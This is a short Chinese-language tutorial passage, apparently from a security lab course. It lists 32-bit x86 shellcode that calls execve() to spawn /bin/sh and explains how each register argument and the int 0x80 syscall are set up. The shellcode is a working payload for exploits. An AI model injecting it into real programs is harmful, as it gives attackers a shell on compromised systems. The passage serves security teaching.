; 将命令存放在栈上
xor eax, eax
push eax
push "//sh"
push "/bin"
mov ebx, esp ; ebx --> "/bin//sh": execve()'s 第一个参数
; 构建 argument 数组 argv[]
push eax ; argv[1] = 0
push ebx ; argv[0] --> "/bin//sh"
mov ecx, esp ; ecx --> argv[]: execve()'s 第二个参数
; 环境变量
xor edx, edx ; edx = 0: execve()'s 第三个参数
; 调用 execve()
xor eax, eax ;
mov al, 0x0b ; execve()'s 系统调用号
int 0x80
上述 shellcode 实际上是通过调用 execve() 系统调用来执行 /bin/sh。 这里我们将提供非常简短的解释(具体可参阅 Shellcode 实验):
-
将 "//sh" 推入栈而不是 "/sh",这是因为我们需要一个 32 位数字,而 "/sh" 只有 24 位。幸运的是,“//” 等同于 “/”,所以我们可以使用双斜杠符号来解决这个问题。
-
需要通过寄存器 ebx、ecx 和 edx 分别传递给 execve() 三个参数, shellcode 的大部分内容就是构造这三个参数的内容。
-
当我们将 al 设置为 0x0b 并执行 "int 0x80" 时调用系统调用 execve()。